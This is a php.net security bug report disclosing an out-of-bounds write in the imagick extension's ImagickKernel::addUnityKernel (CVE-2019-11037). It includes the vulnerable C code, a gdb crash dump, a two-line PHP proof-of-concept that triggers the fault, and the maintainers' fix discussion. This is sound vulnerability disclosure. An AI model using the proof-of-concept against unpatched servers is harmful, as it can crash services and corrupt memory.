php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77791 an oob write in ImagickKernel::addUnityKernel
Submitted: 2019-03-25 08:11 UTC Modified: 2019-05-02 18:05 UTC
From: mayatspine at gmail dot com Assigned: danack (profile)
Status: Closed Package: imagick (PECL)
PHP Version: Irrelevant OS: linux
Private report: No CVE-ID: 2019-11037
 [2019-03-25 08:11 UTC] mayatspine at gmail dot com
Description:
------------
the ImagickKernel::fromMatrix will create a kernel object from Matrix use the following code.
==================================

if (origin_array == NULL) {
	if (((num_columns%2) == 0) || ((num_rows%2) == 0)) {
		php_imagick_throw_exception(IMAGICKKERNEL_CLASS, MATRIX_ORIGIN_REQUIRED TSRMLS_CC);
		goto cleanup;
	}
	origin_x = (num_columns - 1) >> 1;
	origin_y = (num_rows - 1) >> 1;
}
else {
	origin_array_ht = Z_ARRVAL_P(origin_array);
	if (zend_hash_index_find(origin_array_ht, 0, (void**)&tmp) == SUCCESS) {
		origin_x = Z_LVAL_PP(tmp);
	}
	else {
		php_imagick_throw_exception(IMAGICKKERNEL_CLASS, MATRIX_ORIGIN_REQUIRED TSRMLS_CC);
		goto cleanup;
	}

	if (zend_hash_index_find(origin_array_ht, 1, (void**)&tmp) == SUCCESS) {
		origin_y = Z_LVAL_PP(tmp);
	}
	else {
		php_imagick_throw_exception(IMAGICKKERNEL_CLASS, MATRIX_ORIGIN_REQUIRED TSRMLS_CC);
		goto cleanup;
	}
}

kernel_info = imagick_createKernel(values, num_columns, num_rows, origin_x, origin_y);
createKernelZval(return_value, kernel_info TSRMLS_CC);
==================================

and in imagick_createKernel:

==================================
kernel_info->width = width;
kernel_info->height = height;

kernel_info->x = origin_x;
kernel_info->y = origin_y;
==================================
notice that the origin_x and the origin_y are passed to x and y whithout verify . It cause a long number overflow in ImagickKernel::addUnityKernel which we can use it to oob write the origin memory value, maybe lead to code execution.

the UnityAddKernelInfo function:
==================================
MagickExport void UnityAddKernelInfo(KernelInfo *kernel,
  const double scale)
{
  /* do the other kernels in a multi-kernel list first */
  if ( kernel->next != (KernelInfo *) NULL)
    UnityAddKernelInfo(kernel->next, scale);

  /* Add the scaled unity kernel to the existing kernel */
  kernel->values[kernel->x+kernel->y*kernel->width] += scale; // overflow!!!!!!!
  CalcKernelMetaData(kernel);  /* recalculate the meta-data */

  return;


}
=================================


Program received signal SIGSEGV, Segmentation fault.
 [----------------------------------registers-----------------------------------]
RAX: 0x20555555db5ee0
RBX: 0x555555db5dc0 --> 0x24 ('$')
RCX: 0x0
RDX: 0x555555db5f00 --> 0x3ff0000000000000
RSI: 0x7fffffffcb70 --> 0x405ec00000000000
RDI: 0x555555db5dc0 --> 0x24 ('$')
RBP: 0x7ffff3871000 ("$a->addUnityKernel(123);\n")
RSP: 0x7fffffffcb50 --> 0x7ffff38120b0 --> 0x0
RIP: 0x7fffec97779e (<UnityAddKernelInfo+62>:	addsd  xmm1,QWORD PTR [rax])
R8 : 0x0
R9 : 0x0
R10: 0x750
R11: 0x7fffec977760 (<UnityAddKernelInfo>:	push   rbx)
R12: 0x555555d564a0 --> 0x10000000001
R13: 0x555555b99700 --> 0x0
R14: 0x7ffff3812030 --> 0x7ffff3873040 --> 0x555555834cd0 (push   r13)
R15: 0x7ffff3873040 --> 0x555555834cd0 (push   r13)
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fffec977791 <UnityAddKernelInfo+49>:	imul   rax,QWORD PTR [rbx+0x8]
   0x7fffec977796 <UnityAddKernelInfo+54>:	add    rax,QWORD PTR [rbx+0x18]
   0x7fffec97779a <UnityAddKernelInfo+58>:	lea    rax,[rdx+rax*8]
=> 0x7fffec97779e <UnityAddKernelInfo+62>:	addsd  xmm1,QWORD PTR [rax]
   0x7fffec9777a2 <UnityAddKernelInfo+66>:	movsd  QWORD PTR [rax],xmm1
   0x7fffec9777a6 <UnityAddKernelInfo+70>:	add    rsp,0x10
   0x7fffec9777aa <UnityAddKernelInfo+74>:	pop    rbx
   0x7fffec9777ab <UnityAddKernelInfo+75>:	jmp    0x7fffec96d810
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcb50 --> 0x7ffff38120b0 --> 0x0
0008| 0x7fffffffcb58 --> 0x555555c29870 --> 0x7fffed017000 --> 0x10102464c457f
0016| 0x7fffffffcb60 --> 0x7ffff38120b0 --> 0x0
0024| 0x7fffffffcb68 --> 0x7fffed05ec46 (<zim_imagickkernel_addunitykernel+70>:)
0032| 0x7fffffffcb70 --> 0x405ec00000000000
0040| 0x7fffffffcb78 --> 0x663ee4d6eedeba00
0048| 0x7fffffffcb80 --> 0x7ffff38120b0 --> 0x0
0056| 0x7fffffffcb88 --> 0x555555835456 (jmp    0x555555834f30)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fffec97779e in UnityAddKernelInfo ()
   from /usr/lib/x86_64-linux-gnu/libMagickCore-6.Q16.so.2
gdb-peda$

here is the gdb backtrace after running the following test script

Test script:
---------------
$a = ImagickKernel::fromMatrix([[1,2,3],[2,2,2],[3,2,1]],[0xffffffffffff,0xffffffffffff]);
$a->addUnityKernel(123);


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-03-26 04:34 UTC] stas@php.net
-Assigned To: +Assigned To: scottmac
 [2019-03-26 11:30 UTC] cmb@php.net
-Assigned To: scottmac +Assigned To: danack
 [2019-03-26 11:30 UTC] cmb@php.net
Assigning to Dan, who is more active. :)
 [2019-03-26 15:22 UTC] danack@php.net
Thanks for the report. There is a fix here:

https://github.com/mkoppanen/imagick/compare/bugfix_77791?expand=1

Please could you review if possible.

I'll obviously need to do a release soon.
 [2019-03-27 02:30 UTC] mayatspine at gmail dot com
It seems like that origin_y should >= num_rows instead of num_columns?
 [2019-03-27 02:31 UTC] mayatspine at gmail dot com
at line 545
 [2019-03-27 14:05 UTC] danack@php.net
Thanks. 

I've fixed that now and have added explicit test for that scenario.

I'll do the release in a day or two, as need to merge another PR to mark some stuff deprecated, as this will be the last planned release of Imagick to support PHP < 7
 [2019-05-02 14:45 UTC] danack@php.net
This issue has been assigned CVE-2019-11037
 [2019-05-02 17:21 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2019-11037
 [2019-05-02 18:05 UTC] stas@php.net
-Status: Assigned +Status: Closed
 
PHP Copyright © 2001-2019 The PHP Group
All rights reserved.
Last updated: Thu Sep 19 23:01:27 2019 UTC